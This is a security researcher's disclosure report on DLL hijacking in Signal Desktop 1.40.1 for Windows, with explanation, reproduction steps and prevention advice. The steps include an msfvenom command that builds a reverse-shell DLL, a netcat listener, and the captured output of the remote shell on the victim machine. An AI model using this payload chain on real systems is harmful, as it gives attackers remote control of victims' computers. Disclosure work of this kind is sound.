signal-desktop-win-1.40.1.exe Vulnerable to Multiple DLL Hijacking

Product Name: signal-desktop-win-1.40.1.exe

Application Download link: https://signal.org/en/download/

Platform(s): Windows

CVSS 3.0 Score(s): 7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Severity Rating(s): High

Vulnerable DLL(s) Path & File Name:

C:\Users\aadyogi\AppData\Local\Programs\signal-desktop*.dll

What is DLL Hijacking?

DLL hijacking is a method of injecting malicious code into an application by exploiting the way some Windows applications search and load Dynamic Link Libraries (DLL).

Only Microsoft operating systems are susceptible to DLL hijacks.

By replacing a required DLL file with an infected version and placing it within the search parameters of an application, the infected file will be called upon when the application loads, activating its malicious operations.

For a DLL hijack to be successful, a victim needs to load an infected DLL file from the same directory as the targeted application.

If applications that are automatically loaded upon startup are compromised with a tainted DLL file, cybercriminals will be granted access to the infected computer whenever it loads.

What are DLL files?

DLL files, or Dynamic Link Library files, contain the resources an application needs to run successfully. These could include images and a library of executable functions.

DLL files cannot be opened by end-users, they can only be opened by their associated application, which usually happens when the application starts up.


Windows systems require DLL files to understand how to use their resources, the host computer memory, and hard drive space most efficiently.

DLL files usually end with a .dll extension, but some could end in .drv,. drov and even .exe.


A single DLL file could run multiple programs, so multiple programs could potentially be comprised in a DLL hijacking attack.

Steps to reproduce:

- 1. Install the download application signal-desktop-win-1.40.1.exe
- 2. Open Procmon (Downloaded from Microsoft website) and apply the following filter.



3. Look for the missing DLL files.




4. Create a malicious DLL file using msfvenom to give reverse shell and start a listener on attacker machine.

Create shell: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=4444 -f dll > shell-x64.dll Start a listener: nc –nvlp 4444

```
subodh@kali:-$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.114 LPORT=4444 -f dll > shell-x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 5120 bytes
subodh@kali:-$ nc -nvlp 4444
listening on [any] 4444 ...
```

5. Place the malicious dll file in affected directory mentioned in the Vulnerable DLL(s) Path & File Name on the target machine.



- 6. Restart the Signal for desktop to get reverse shell.
- 7. Check back to the attacker machine, you will have an interactive shell now.

```
odh@kali:~$ nc -nvlp 4444
listening on [anv] 4444 ...
connect to [192.168.8.105] from (UNKNOWN) [192.168.8.103] 49247
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\aadyogi\AppData\Local\Programs\signal-desktop>whoami
whoami
aadyogi\aadyogi
C:\Users\aadyogi\AppData\Local\Programs\signal-desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is C4D7-C65E
 Directory of C:\Users\aadyogi\AppData\Local\Programs\signal-desktop
03/26/2021 12:57 AM
                        <DIR>
03/26/2021 12:57 AM
                        <DIR>
                             124,377 chrome_100_percent.pak
02/22/2021 04:17 PM
02/22/2021 04:17 PM
                               185,871 chrome_200_percent.pak
02/22/2021 04:17 PM
                            4,524,696 d3dcompiler_47.dll
02/22/2021 04:17 PM
                            2,823,680 ffmpeg.dll
02/22/2021 04:17 PM
                            10,528,096 icudtl.dat
02/22/2021 04:17 PM
                              449,024 libEGL.dll
02/22/2021 04:17 PM
                             7,620,096 libGLESv2.dll
02/22/2021 04:17 PM
                                 1,060 LICENSE.electron.txt
02/22/2021 04:17 PM
                             4,715,756 LICENSES.chromium.html
02/22/2021 04:17 PM
                       <DIR>
                                       locales
                                 5,120 ntmarta.dll
03/23/2021 11:09 PM
02/22/2021 04:17 PM
                        <DIR>
                                       resources
02/22/2021 04:17 PM
                         5,015,745 resources.pak
02/22/2021 04:17 PM
02/22/2021 04:17 PM
                           126,284,672 Signal.exe
                               51,447 snapshot_blob.bin
                       <DIR>
02/22/2021 04:17 PM
                                       swiftshader
                              254,024 Uninstall Signal.exe
172,274 v8_context_snapshot.bin
02/22/2021 04:17 PM
02/22/2021 04:17 PM
02/22/2021 04:17 PM
                            4,488,192 vk_swiftshader.dll
02/22/2021 04:17 PM
                                    106 vk_swiftshader_icd.json
02/22/2021 04:17 PM
                               732,160 vulkan-1.dll
              18 File(s)
                            167,976,396 bytes
               5 Dir(s) 7,568,244,736 bytes free
C:\Users\aadyogi\AppData\Local\Programs\signal-desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix .:
   Link-local IPv6 Address . . . . . : fe80::797a:620a:c915:6e45%11
   IPv4 Address. . . . . . . . . . : 192.168.8.103
   Subnet Mask . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . : 192.168.8.1
```

Impact:

It can execute the malicious code contained in the DLL file and may compromise user's computer or network.

How to prevent DLL hijacking?

Ideally, the primary line of defense against DLL hijacking needs to originate from the software developers. If programmers use absolute paths to clearly define the expected location of Dynamic Link Libraries in the software code (rather than having the operating system do a default search), the vulnerability can be greatly reduced.

Reference:

https://www.upguard.com/blog/dll-hijacking

https://blog.finjan.com/best-practices-to-prevent-dll-hijacking/

https://owasp.org/www-community/attacks/Binary planting

https://owasp.org/www-pdf-archive//OWASP BP 20101208.pdf

Tools & OS used: Windows 7, Kali Linux, vulnerable application, process monitor (Microsoft sysinternals tool).

Note: aadyogi is current username mention above in the report, replace with your current user name.

Tested on:

OS Name: Microsoft Windows 7 Ultimate

OS Version: 6.1.7601 Service Pack 1 Build 7601

System Type: x64-based PC

Researcher:

Name: Subodh Kumar

GitHub: https://github.com/s-kustm

LinkedIn https://www.linkedin.com/in/s-kustm/